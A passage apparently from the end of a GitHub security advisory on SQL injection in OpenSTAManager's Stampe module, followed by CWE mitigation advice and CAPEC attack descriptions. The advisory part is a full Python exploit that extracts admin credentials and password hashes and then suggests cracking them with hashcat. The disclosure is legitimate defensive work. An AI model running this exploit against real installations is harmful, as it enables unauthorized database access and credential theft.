self.verbose:\n print(f\"[DEBUG] Login POST status: {resp.status_code}\")\n print(f\"[DEBUG] Cookies: {self.session.cookies.get_dict()}\")\n\n # Check if login was successful\n if \u0027PHPSESSID\u0027 not in self.session.cookies:\n print(\"[-] Login failed: No session cookie received\")\n return False\n\n # Check if we\u0027re redirected to dashboard or still on login page\n if \u0027username\u0027 in resp.text.lower() and \u0027password\u0027 in resp.text.lower() and \u0027login\u0027 in resp.url.lower():\n print(\"[-] Login failed: Still on login page\")\n if self.verbose:\n print(f\"[DEBUG] Current URL: {resp.url}\")\n return False\n\n print(f\"[+] Successfully logged in as \u0027{self.username}\u0027\")\n print(f\"[+] Session: {self.session.cookies.get(\u0027PHPSESSID\u0027)}\")\n return True\n\n def inject(self, sql_query):\n \"\"\"Execute SQL injection payload\"\"\"\n # Use UPDATEXML instead of EXTRACTVALUE (works better on demo)\n payload = f\"14 AND UPDATEXML(1,CONCAT(0x7e,({sql_query}),0x7e),1)\"\n\n target_url = urljoin(self.base_url, \u0027/modules/stampe/actions.php\u0027)\n\n if self.verbose:\n print(f\"[DEBUG] Target: {target_url}\")\n print(f\"[DEBUG] Payload: {payload}\")\n\n response = self.session.post(\n target_url,\n data={\n \"op\": \"update\",\n \"id_record\": \"1\",\n \"predefined\": \"1\",\n \"module\": payload,\n \"title\": \"Test\",\n \"filename\": \"test.pdf\"\n }\n )\n\n if self.verbose:\n print(f\"[DEBUG] Response status: {response.status_code}\")\n print(f\"[DEBUG] Response length: {len(response.text)}\")\n\n # Unescape HTML entities first\n response_text = unescape(response.text)\n\n # Pattern 1: XPATH syntax error with HTML entities or quotes\n # Matches: XPATH syntax error: \u0027~data~\u0027 or \u0026#039;~data~\u0026#039;\n xpath_match = re.search(r\"XPATH syntax error:\\s*[\u0027\\\"]?~([^~]+)~[\u0027\\\"]?\", response_text, re.IGNORECASE)\n if xpath_match:\n result = xpath_match.group(1)\n if self.verbose:\n print(f\"[DEBUG] Extracted via XPATH pattern: {result}\")\n return result\n\n # Pattern 2: Look in HTML comments (demo puts errors in comments)\n # \u003c!--...XPATH syntax error: \u0027~data~\u0027...--\u003e\n comment_match = re.search(r\"\u003c!--.*?XPATH syntax error:\\s*[\u0027\\\"]?~([^~]+)~[\u0027\\\"]?.*?--\u003e\", response_text, re.DOTALL | re.IGNORECASE)\n if comment_match:\n result = comment_match.group(1)\n if self.verbose:\n print(f\"[DEBUG] Extracted from HTML comment: {result}\")\n return result\n\n # Pattern 3: \u003ccode\u003e tags\n codes = re.findall(r\u0027\u003ccode\u003e(.*?)\u003c/code\u003e\u0027, response_text, re.DOTALL)\n for code in codes:\n clean = code.strip()\n if \u0027XPATH syntax error\u0027 in clean or \u0027SQLSTATE\u0027 in clean:\n match = re.search(r\"~([^~]+)~\", clean)\n if match:\n result = match.group(1)\n if self.verbose:\n print(f\"[DEBUG] Extracted from \u003ccode\u003e: {result}\")\n return result\n\n # Pattern 4: PDOException error format (as shown in user\u0027s example)\n # PDOException: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: \u0027~data~\u0027\n pdo_match = re.search(r\"PDOException:.*?XPATH syntax error:\\s*[\u0027\\\"]?~([^~]+)~[\u0027\\\"]?\", response_text, re.IGNORECASE | re.DOTALL)\n if pdo_match:\n result = pdo_match.group(1)\n if self.verbose:\n print(f\"[DEBUG] Extracted from PDOException: {result}\")\n return result\n\n # Pattern 5: Generic ~...~ markers (last resort)\n markers = re.findall(r\u0027~([^~]{1,100})~\u0027, response_text)\n if markers:\n if self.verbose:\n print(f\"[DEBUG] Found generic markers: {markers}\")\n # Filter out HTML/CSS junk\n for marker in markers:\n if marker and len(marker) \u003e 2:\n # Skip common HTML patterns\n if not any(x in marker.lower() for x in [\u0027button\u0027, \u0027icon\u0027, \u0027fa-\u0027, \u0027class\u0027, \u0027div\u0027, \u0027span\u0027, \u0027\u003c\u0027, \u0027\u003e\u0027]):\n if self.verbose:\n print(f\"[DEBUG] Using marker: {marker}\")\n return marker\n\n if self.verbose:\n print(\"[DEBUG] No data extracted from response\")\n # Save response for debugging\n with open(\u0027/tmp/stampe_response_debug.html\u0027, \u0027w\u0027) as f:\n f.write(response.text)\n print(\"[DEBUG] Response saved to /tmp/stampe_response_debug.html\")\n\n return None\n\n def dump_info(self):\n \"\"\"Dump database information\"\"\"\n queries = [\n (\"Database Version\", \"VERSION()\"),\n (\"Database Name\", \"DATABASE()\"),\n (\"Current User\", \"USER()\"),\n (\"Admin Username\", \"SELECT username FROM zz_users WHERE idgruppo=1 LIMIT 1\"),\n (\"Admin Email\", \"SELECT email FROM zz_users WHERE idgruppo=1 LIMIT 1\"),\n (\"Admin Password Hash (1-30)\", \"SELECT SUBSTRING(password,1,30) FROM zz_users WHERE idgruppo=1 LIMIT 1\"),\n (\"Admin Password Hash (31-60)\", \"SELECT SUBSTRING(password,31,30) FROM zz_users WHERE idgruppo=1 LIMIT 1\"),\n (\"Total Users\", \"SELECT COUNT(*) FROM zz_users\"),\n (\"First Table\", \"SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1\"),\n ]\n\n print(\"=\"*70)\n print(\" EXPLOITING SQL INJECTION - DATA EXTRACTION\")\n print(\"=\"*70)\n print()\n\n results = {}\n for desc, query in queries:\n print(f\"[*] Extracting: {desc}\")\n print(f\" Query: {query}\")\n result = self.inject(query)\n if result:\n print(f\" \u2713 Result: {result}\")\n results[desc] = result\n else:\n print(f\" \u2717 Failed to extract\")\n print()\n\n return results\n\ndef main():\n parser = argparse.ArgumentParser(\n description=\u0027OpenSTAManager Stampe Module SQL Injection Exploit\u0027,\n formatter_class=argparse.RawDescriptionHelpFormatter,\n epilog=\u0027\u0027\u0027\nExamples:\n # Exploit demo.osmbusiness.it with tecnico user\n python3 %(prog)s -u tecnico -p tecnicotecnico\n\n # Exploit demo with admin credentials\n python3 %(prog)s -u admin -p admin123\n\n # Exploit custom installation with verbose output\n python3 %(prog)s -u tecnico -p pass123 --url https://erp.company.com -v\n \u0027\u0027\u0027\n )\n\n parser.add_argument(\u0027-u\u0027, \u0027--username\u0027, required=True,\n help=\u0027Username for authentication\u0027)\n parser.add_argument(\u0027-p\u0027, \u0027--password\u0027, required=True,\n help=\u0027Password for authentication\u0027)\n parser.add_argument(\u0027--url\u0027, default=\u0027https://demo.osmbusiness.it\u0027,\n help=\u0027Base URL of OpenSTAManager (default: https://demo.osmbusiness.it)\u0027)\n parser.add_argument(\u0027-v\u0027, \u0027--verbose\u0027, action=\u0027store_true\u0027,\n help=\u0027Enable verbose output for debugging\u0027)\n\n args = parser.parse_args()\n\n print(\"\u2554\" + \"=\"*68 + \"\u2557\")\n print(\"\u2551 SQL Injection Exploit - OpenSTAManager Stampe Module \u2551\")\n print(\"\u2551 CVE-PENDING | Authenticated Error-Based SQLi \u2551\")\n print(\"\u255a\" + \"=\"*68 + \"\u255d\")\n print()\n print(f\"[*] Target: {args.url}\")\n print(f\"[*] Username: {args.username}\")\n print()\n\n exploit = StampeSQLiExploit(args.url, args.username, args.password, args.verbose)\n\n # Login first\n if not exploit.login():\n print(\"\\n[-] Authentication failed. Cannot proceed with exploitation.\")\n print(\"[!] Please check:\")\n print(\" 1. Are the credentials correct?\")\n print(\" 2. Is the target URL accessible?\")\n print(\" 3. Is the user account active?\")\n sys.exit(1)\n\n print()\n\n # Extract data\n results = exploit.dump_info()\n\n # Summary\n print(\"=\"*70)\n print(\" EXTRACTION SUMMARY\")\n print(\"=\"*70)\n print()\n\n if results:\n for key, value in results.items():\n print(f\" {key:.\u003c40} {value}\")\n\n # If we got admin password hash, combine it\n if \"Admin Password Hash (1-30)\" in results and \"Admin Password Hash (31-60)\" in results:\n full_hash = results[\"Admin Password Hash (1-30)\"] + results[\"Admin Password Hash (31-60)\"]\n print()\n print(\" \" + \"=\"*66)\n print(f\" Full Admin Password Hash: {full_hash}\")\n print(\" \" + \"=\"*66)\n print()\n print(\" [!] Crack with hashcat:\")\n print(f\" hashcat -m 3200 \u0027{full_hash}\u0027 wordlist.txt\")\n else:\n print(\" \u2717 No data extracted\")\n if not args.verbose:\n print(\"\\n [!] Try running with -v flag for debugging information\")\n\nif __name__ == \"__main__\":\n main()\n\n```\n\n### Attribution\nReported by \u0141ukasz Rybak",
"id": "GHSA-qx9p-w3vj-q24q",
"modified": "2026-02-04T19:53:08Z",
"published": "2026-02-03T19:01:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/devcode-it/openstamanager/security/advisories/GHSA-qx9p-w3vj-q24q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69215"
},
{
"type": "PACKAGE",
"url": "https://github.com/devcode-it/openstamanager"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenSTAManager has an SQL Injection in the Stampe Module"
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [REF-867]
Mitigation MIT-17
Strategy: Environment Hardening
- Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
- Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-28
Strategy: Output Encoding
- While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
- Instead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the mysql_real_escape_string() API function is available in both C and PHP.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing SQL query strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise handled. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.
- When feasible, it may be safest to disallow meta-characters entirely, instead of escaping them. This will provide some defense in depth. After the data is entered into the database, later processes may neglect to escape meta-characters before use, and you may not have control over those processes.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers tailor successful attack strings.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-109: Object Relational Mapping Injection
An attacker leverages a weakness present in the database access layer code generated with an Object Relational Mapping (ORM) tool or a weakness in the way that a developer used a persistence framework to inject their own SQL commands to be executed against the underlying database. The attack here is similar to plain SQL injection, except that the application does not use JDBC to directly talk to the database, but instead it uses a data access layer generated by an ORM tool or framework (e.g. Hibernate). While most of the time code generated by an ORM tool contains safe access methods that are immune to SQL injection, sometimes either due to some weakness in the generated code or due to the fact that the developer failed to use the generated access methods properly, SQL injection is still possible.
CAPEC-110: SQL Injection through SOAP Parameter Tampering
An attacker modifies the parameters of the SOAP message that is sent from the service consumer to the service provider to initiate a SQL injection attack. On the service provider side, the SOAP message is parsed and parameters are not properly validated before being used to access a database in a way that does not use parameter binding, thus enabling the attacker to control the structure of the executed SQL query. This pattern describes a SQL injection attack with the delivery mechanism being a SOAP message.
CAPEC-470: Expanding Control over the Operating System from the Database
An attacker is able to leverage access gained to the database to read / write data to the file system, compromise the operating system, create a tunnel for accessing the host machine, and use this access to potentially attack other machines on the same network as the database machine. Traditionally SQL injections attacks are viewed as a way to gain unauthorized read access to the data stored in the database, modify the data in the database, delete the data, etc. However, almost every data base management system (DBMS) system includes facilities that if compromised allow an attacker complete access to the file system, operating system, and full access to the host running the database. The attacker can then use this privileged access to launch subsequent attacks. These facilities include dropping into a command shell, creating user defined functions that can call system level libraries present on the host machine, stored procedures, etc.
CAPEC-66: SQL Injection
This attack exploits target software that constructs SQL statements based on user input. An attacker crafts input strings so that when the target software constructs SQL statements based on the input, the resulting SQL statement performs actions other than those the application intended. SQL Injection results from failure of the application to appropriately validate input.
CAPEC-7: Blind SQL Injection
Blind SQL Injection results from an insufficient mitigation for SQL Injection. Although suppressing database error messages are considered best practice, the suppression alone is not sufficient to prevent SQL Injection. Blind SQL Injection is a form of SQL Injection that overcomes the lack of error messages. Without the error messages that facilitate SQL Injection, the adversary constructs input strings that probe the target through simple Boolean SQL expressions. The adversary can determine if the syntax and structure of the injection was successful based on whether the query was executed or not. Applied iteratively, the adversary determines how and where the target is vulnerable to SQL Injection.